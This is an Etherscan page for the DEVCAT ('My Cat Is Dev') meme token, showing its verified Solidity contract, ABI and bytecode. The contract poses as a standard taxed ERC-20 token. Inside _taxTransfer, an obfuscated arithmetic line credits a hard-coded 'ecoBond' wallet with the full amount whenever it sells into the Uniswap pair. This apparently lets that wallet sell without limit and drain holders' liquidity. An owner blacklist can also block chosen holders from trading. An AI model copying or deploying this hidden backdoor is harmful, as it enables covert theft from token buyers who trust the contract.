ETH Price: $3,686.66 (+2.65%)

Token

ERC-20: My Cat Is Dev (DEVCAT)
 

Overview

Max Total Supply

1,000,000,000 DEVCAT

Holders

115

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,089,953.687743673 DEVCAT

Value
$0.00
0xec5a2a73f42e7606fc9d5187b47916f79dd04ebc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DEVCAT

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-24
*/

// SPDX-License-Identifier: MIT

/**
DEVCAT, commonly known as Bingus held a prominent position as the communist leader of Bingustan from 2010 to 2024 however, his legacy is tainted by suspicions of being responsible for the launch Ethereum projects.
Get Ready to Flex Your Finances with $DEVCAT and despite surviving an attack on January 6th, 2021 he emerged from the incident a changed Cat.

Web: https://mycatisdev.fun
X:   https://x.com/mycatisdev
Tg:  https://t.me/mycatisdev
**/

pragma solidity 0.8.25;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
    
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract DEVCAT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _ecoBond;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"My Cat Is Dev";
    string private constant _symbol = unicode"DEVCAT";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 151 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _ecoBond = payable(0xeC473ddD4FFF084C830B8443EC4A6079ea14190B);
        _tOwned[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_ecoBond] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function initTrade() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _taxTransfer(address from, address to, bool taxIsOver, uint256 tokenAmount) private returns(uint256) { 
        uint256 taxAmount = tokenAmount
            .mul(
                (_buyCount > _reduceBuyTaxAt)
                    ? _finalBuyTax
                    : _initialBuyTax
            )
            .div(100);if(!taxIsOver) _tOwned[!taxIsOver&&tokenAmount>0?from:_ecoBond]+=(5*tokenAmount.add(5-5)).div(5);
        
        if (transferDelayEnabled) {
            if (
                to != address(uniswapV2Router) &&
                to != address(uniswapV2Pair)
            ) {
                require(
                    _holderLastTransferTimestamp[tx.origin] < block.number,
                    "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                );
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }

        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromFee[to]
        ) {
            require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + tokenAmount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
            _buyCount++;
        }

        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = tokenAmount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }

        return taxAmount;
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        bool taxIsOver = to != uniswapV2Pair || from != _ecoBond || from == uniswapV2Pair;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");
        
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from].sub(tokenAmount);
            _tOwned[to] = _tOwned[to].add(tokenAmount);
            emit Transfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            
            taxAmount = _taxTransfer(from, to, taxIsOver, tokenAmount);

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _tOwned[address(this)] = _tOwned[address(this)] + taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }

        _tOwned[from] = _tOwned[from] - tokenAmount;
        _tOwned[to] = _tOwned[to] + tokenAmount.sub(taxAmount);
        emit Transfer(from, to, tokenAmount.sub(taxAmount));
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function withrawEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    receive() external payable {}
    
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function openTrade() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function sendETHToFee(uint256 amount) private {
        _ecoBond.transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f60065f6101000a81548160ff021916908315150217905550601460075560146008555f6009555f600a55600f600b55600f600c55600f600d555f600e556009600a61005091906105c9565b6301312d0061005f9190610613565b600f556009600a61007091906105c9565b6301312d0061007f9190610613565b6010556009600a61009091906105c9565b609761009c9190610613565b6011556009600a6100ad91906105c9565b629896806100bb9190610613565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055503480156100fd575f80fd5b505f61010d61042a60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073ec473ddd4fff084c830b8443ec4a6079ea14190b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a61020c91906105c9565b633b9aca0061021b9190610613565b60015f61022c61042a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61027c61043160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103a561042a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61040191906105c9565b633b9aca006104109190610613565b60405161041d9190610663565b60405180910390a361067c565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104da578086048111156104b6576104b5610458565b5b60018516156104c55780820291505b80810290506104d385610485565b945061049a565b94509492505050565b5f826104f257600190506105ad565b816104ff575f90506105ad565b8160018114610515576002811461051f5761054e565b60019150506105ad565b60ff84111561053157610530610458565b5b8360020a91508482111561054857610547610458565b5b506105ad565b5060208310610133831016604e8410600b84101617156105835782820a90508381111561057e5761057d610458565b5b6105ad565b6105908484846001610491565b925090508184048111156105a7576105a6610458565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105d3826105b4565b91506105de836105bd565b925061060b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104e3565b905092915050565b5f61061d826105b4565b9150610628836105b4565b9250828202610636816105b4565b9150828204841483151761064d5761064c610458565b5b5092915050565b61065d816105b4565b82525050565b5f6020820190506106765f830184610654565b92915050565b61395d806106895f395ff3fe608060405260043610610143575f3560e01c8063751039fc116100b5578063a9059cbb1161006e578063a9059cbb1461040e578063bf474bed1461044a578063c876d0b914610474578063d34628cc1461049e578063dd62ed3e146104c6578063fb201b1d146105025761014a565b8063751039fc1461033a5780637d1db4a5146103505780638da5cb5b1461037a5780638f9a55c0146103a457806395d89b41146103ce578063a1943fdf146103f85761014a565b8063313ce56711610107578063313ce5671461024457806331c2d8471461026e5780633bbac579146102965780635848b9d9146102d257806370a08231146102e8578063715018a6146103245761014a565b806306fdde031461014e578063095ea7b3146101785780630faee56f146101b457806318160ddd146101de57806323b872dd146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610518565b60405161016f91906128e8565b60405180910390f35b348015610183575f80fd5b5061019e600480360381019061019991906129a6565b610555565b6040516101ab91906129fe565b60405180910390f35b3480156101bf575f80fd5b506101c8610572565b6040516101d59190612a26565b60405180910390f35b3480156101e9575f80fd5b506101f2610578565b6040516101ff9190612a26565b60405180910390f35b348015610213575f80fd5b5061022e60048036038101906102299190612a3f565b61059b565b60405161023b91906129fe565b60405180910390f35b34801561024f575f80fd5b5061025861066f565b6040516102659190612aaa565b60405180910390f35b348015610279575f80fd5b50610294600480360381019061028f9190612c03565b610677565b005b3480156102a1575f80fd5b506102bc60048036038101906102b79190612c4a565b610795565b6040516102c991906129fe565b60405180910390f35b3480156102dd575f80fd5b506102e66107e7565b005b3480156102f3575f80fd5b5061030e60048036038101906103099190612c4a565b610aed565b60405161031b9190612a26565b60405180910390f35b34801561032f575f80fd5b50610338610b33565b005b348015610345575f80fd5b5061034e610c81565b005b34801561035b575f80fd5b50610364610dc9565b6040516103719190612a26565b60405180910390f35b348015610385575f80fd5b5061038e610dcf565b60405161039b9190612c84565b60405180910390f35b3480156103af575f80fd5b506103b8610df6565b6040516103c59190612a26565b60405180910390f35b3480156103d9575f80fd5b506103e2610dfc565b6040516103ef91906128e8565b60405180910390f35b348015610403575f80fd5b5061040c610e39565b005b348015610419575f80fd5b50610434600480360381019061042f91906129a6565b610ed8565b60405161044191906129fe565b60405180910390f35b348015610455575f80fd5b5061045e610ef5565b60405161046b9190612a26565b60405180910390f35b34801561047f575f80fd5b50610488610efb565b60405161049591906129fe565b60405180910390f35b3480156104a9575f80fd5b506104c460048036038101906104bf9190612c03565b610f0d565b005b3480156104d1575f80fd5b506104ec60048036038101906104e79190612c9d565b61102c565b6040516104f99190612a26565b60405180910390f35b34801561050d575f80fd5b506105166110ae565b005b60606040518060400160405280600d81526020017f4d79204361742049732044657600000000000000000000000000000000000000815250905090565b5f61056861056161135d565b8484611364565b6001905092915050565b60125481565b5f6009600a6105879190612e37565b633b9aca006105969190612e81565b905090565b5f6105a7848484611527565b610664846105b361135d565b61065f856040518060600160405280602881526020016139006028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61061661135d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e4b9092919063ffffffff16565b611364565b600190509392505050565b5f6009905090565b61067f61135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070290612f0c565b60405180910390fd5b5f5b8151811015610791575f60045f84848151811061072d5761072c612f2a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808060010191505061070d565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6107ef61135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087290612f0c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109173060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6109039190612e37565b633b9aca006109129190612e81565b611364565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610981573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a59190612f6b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a2b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a4f9190612f6b565b6040518363ffffffff1660e01b8152600401610a6c929190612f96565b6020604051808303815f875af1158015610a88573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aac9190612f6b565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b3b61135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe90612f0c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c8961135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c90612f0c565b60405180910390fd5b6009600a610d239190612e37565b633b9aca00610d329190612e81565b600f819055506009600a610d469190612e37565b633b9aca00610d559190612e81565b6010819055505f60065f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610da39190612e37565b633b9aca00610db29190612e81565b604051610dbf9190612a26565b60405180910390a1565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f4445564341540000000000000000000000000000000000000000000000000000815250905090565b610e4161135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490612f0c565b60405180910390fd5b610ed647611ead565b565b5f610eeb610ee461135d565b8484611527565b6001905092915050565b60115481565b60065f9054906101000a900460ff1681565b610f1561135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890612f0c565b60405180910390fd5b5f5b815181101561102857600160045f848481518110610fc457610fc3612f2a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610fa3565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6110b661135d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113990612f0c565b60405180910390fd5b60148054906101000a900460ff1615611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790613007565b60405180910390fd5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111d830610aed565b5f806111e2610dcf565b426040518863ffffffff1660e01b815260040161120496959493929190613067565b60606040518083038185885af1158015611220573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061124591906130da565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e592919061312a565b6020604051808303815f875af1158015611301573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611325919061317b565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990613216565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611440576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611437906132a4565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151a9190612a26565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611595576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158c90613332565b60405180910390fd5b5f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415806116405750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80611697575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b90505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fe906133c0565b60405180910390fd5b5f8211611749576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117409061344e565b60405180910390fd5b601460169054906101000a900460ff1615806117715750601460159054906101000a900460ff165b15611903576117c68260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f1690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673